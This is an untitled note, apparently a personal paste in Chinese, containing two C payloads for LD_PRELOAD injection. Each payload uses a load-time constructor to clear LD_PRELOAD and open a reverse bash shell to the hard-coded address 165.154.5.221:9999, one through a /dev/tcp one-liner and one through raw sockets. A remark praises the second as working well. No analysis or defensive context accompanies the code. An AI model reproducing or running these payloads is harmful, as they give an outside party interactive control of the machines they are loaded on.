无题

#define _GNU_SOURCE
#include<stdlib.h>
#include<stdio.h>
#include<string.h>

__attribute__ ((__constructor__)) void preload (void){
	unsetenv("LD_PRELOAD");
	system(" bash -c 'bash -i >& /dev/tcp/165.154.5.221/9999 0>&1' ");
}

下面这个爽了

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 9999;
char *ip = "165.154.5.221";

void reverse_shell(){
        int fd;
        if ( fork() <= 0){
                struct sockaddr_in addr;
                addr.sin_family = AF_INET;
                addr.sin_port = htons(tcp_port);
                addr.sin_addr.s_addr = inet_addr(ip);

                fd = socket(AF_INET, SOCK_STREAM, 0);
                if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
                        exit(0);
                }

                dup2(fd, 0);
                dup2(fd, 1);
                dup2(fd, 2);
                execve("/bin/bash", 0LL, 0LL);
        }
        return;
}
__attribute__ ((__constructor__)) void preload (void){
	unsetenv("LD_PRELOAD");
	reverse_shell();
    return 0;
}